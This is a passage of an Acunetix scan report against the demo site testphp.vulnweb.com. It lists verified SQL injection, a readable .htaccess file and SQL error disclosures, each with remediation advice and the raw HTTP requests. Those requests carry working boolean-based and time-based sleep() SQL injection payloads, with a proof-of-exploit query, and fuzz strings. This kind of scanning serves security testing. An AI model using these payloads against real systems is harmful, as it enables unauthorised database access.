cart_id=1ACUSTART'"9YkyyACUEND&submitForm=place%20a%20command%20for%20these%20items
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"CmlXxACUEND**

```
GET /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"CmlXxACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **pass** was set to **-1' OR 3*2*1=6 AND 000591=000591 --** Tests performed: • -1' OR 2+591-591-1=0+0+0+1 -- => **TRUE** • -1' OR 3+591-591-1=0+0+0+1 -- => **FALSE** • -1' OR 3*2<(0+5+591-591) -- => **FALSE** • -1' OR 3*2>(0+5+591-591) -- => **FALSE** • -1' OR 2+1-1+1=1 AND 000591=000591 -- => **FALSE** • -1' OR 3*2=5 AND 000591=000591 -- => **FALSE** • -1' OR 3*2=6 AND 000591=000591 -- => **TRUE** • -1' OR 3*2*0=6 AND 000591=000591 -- => **FALSE** • -1' OR 3*2*1=6 AND 000591=000591 -- => **TRUE** Original value: **1** **Proof of Exploit** SQL query - SELECT database() `acuart`

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



pass=-1'%20OR%203*2*1=6%20AND%20000591=000591%20--%20&uname=1
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **pass** was set to **1ACUSTART'"P6BeeACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 42

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



pass=1ACUSTART'"P6BeeACUEND&uname=ghovjnjv
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uaddress** was set to **1ACUSTART'"oDADGACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 111

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=1ACUSTART'"oDADGACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uaddress** was set to **1ACUSTART'"qFHL3ACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 127

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=1ACUSTART'"qFHL3ACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666&urname=ghovjnjv
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded POST input **ucc** was set to **(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/** Tests performed: • (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => **15.144** • (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => **15.147** • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.14** • (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => **3.144** • (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => **6.138** • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.154** • (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => **6.16** Original value: **777**

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 926

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=
(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select
(0)from(select(sleep(6)))v)%2B"*/&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2
B555%20666666666
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uemail** was set to **1ACUSTART'"VzXqAACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 805

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=1ACUSTART'"VzX
qAACUEND&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uemail** was set to **1ACUSTART'"iEB0PACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 821

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=1ACUSTART'"iEB
0PACUEND&update=update&uphone=%2B555%20666666666&urname=ghovjnjv
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded POST input **uname** was set to **-1' OR 3*2*1=6 AND 000690=000690 --** Tests performed: - -1' OR 2+690-690-1=0+0+0+1 -- => **TRUE** - -1' OR 3+690-690-1=0+0+0+1 -- => **FALSE** - -1' OR 3*2<(0+5+690-690) -- => **FALSE** - -1' OR 3*2>(0+5+690-690) -- => **FALSE** - -1' OR 2+1-1+1=1 AND 000690=000690 -- => **FALSE** - -1' OR 3*2=5 AND 000690=000690 -- => **FALSE** - -1' OR 3*2=6 AND 000690=000690 -- => **TRUE** - -1' OR 3*2*0=6 AND 000690=000690 -- => **FALSE** - -1' OR 3*2*1=6 AND 000690=000690 -- => **TRUE** Original value: **1** **Proof of Exploit** SQL query - SELECT database() `acuart`

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



pass=1&uname=-1'%20OR%203*2*1=6%20AND%20000690=000690%20--%20
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded POST input **uname** was set to **1ACUSTART'"qZNPcACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 50

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



pass=g00dPa%24%24w0rD&uname=1ACUSTART'"qZNPcACUEND
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uphone** was set to **1ACUSTART'"OhepyACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 811

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=1ACUSTART'"OhepyACUEND
```

/userinfo.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uphone** was set to **1ACUSTART'"d6ToCACUEND**

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 827

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=1ACUSTART'"d6ToCACUEND&urname=ghovjnjv
```

/Mod_Rewrite_Shop/	
Alert group	**.htaccess file readable (verified)**
Severity	Medium
Description	This directory contains an **.htaccess** file that is readable. This may indicate a server misconfiguration. htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file.
Recommendations	Restrict access to the .htaccess file by adjusting the web server configuration.
Alert variants	
Details	

```
GET /Mod_Rewrite_Shop/.htaccess HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	URL encoded GET input **artist** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
GET /listproducts.php?artist=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	URL encoded GET input **cat** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
GET /listproducts.php?cat=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/newuser.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	

Details	URL encoded POST input **uuname** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 225

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
```

/showimage.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	

Details	URL encoded GET input **file** was set to **acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1951**
	Pattern found:
	`Warning: fopen(): Unable to access acu1951ï¼□s1ï¹¥s2Ê°s3Ê¹uca1951 in`
	`Warning: fopen(acu1951ï¼□s1ï¹¥s2Ê°s3Ê¹uca1951): failed to open strea`

```
GET /showimage.php?file=acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1951&size=160
HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/userinfo.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	URL encoded POST input **uaddress** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 131

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

<table>
<tr><td><b>/userinfo.php</b></td><td></td></tr>
<tr><td><b>Alert group</b></td><td><b>Application error message</b></td></tr>
<tr><td>Severity</td><td>Medium</td></tr>
<tr><td>Description</td><td>This alert requires manual confirmation

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td></tr>
<tr><td>Recommendations</td><td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td></tr>
<tr><td>Alert variants</td><td></td></tr>
<tr><td>Details</td><td>URL encoded POST input <b>ucc</b> was set to
<b>12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡</b>

Pattern found:
<code>You have an error in your SQL syntax</code></td></tr>
</table>

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 846

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=12345'"\'\");|]*%00{%0d%0
a<%00>%bf%27'💡&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	URL encoded POST input **uemail** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 825

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=12345'"\'\");|
]*%00{%0d%0a<%00>%bf%27'💡&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**Application error message**
Severity	Medium
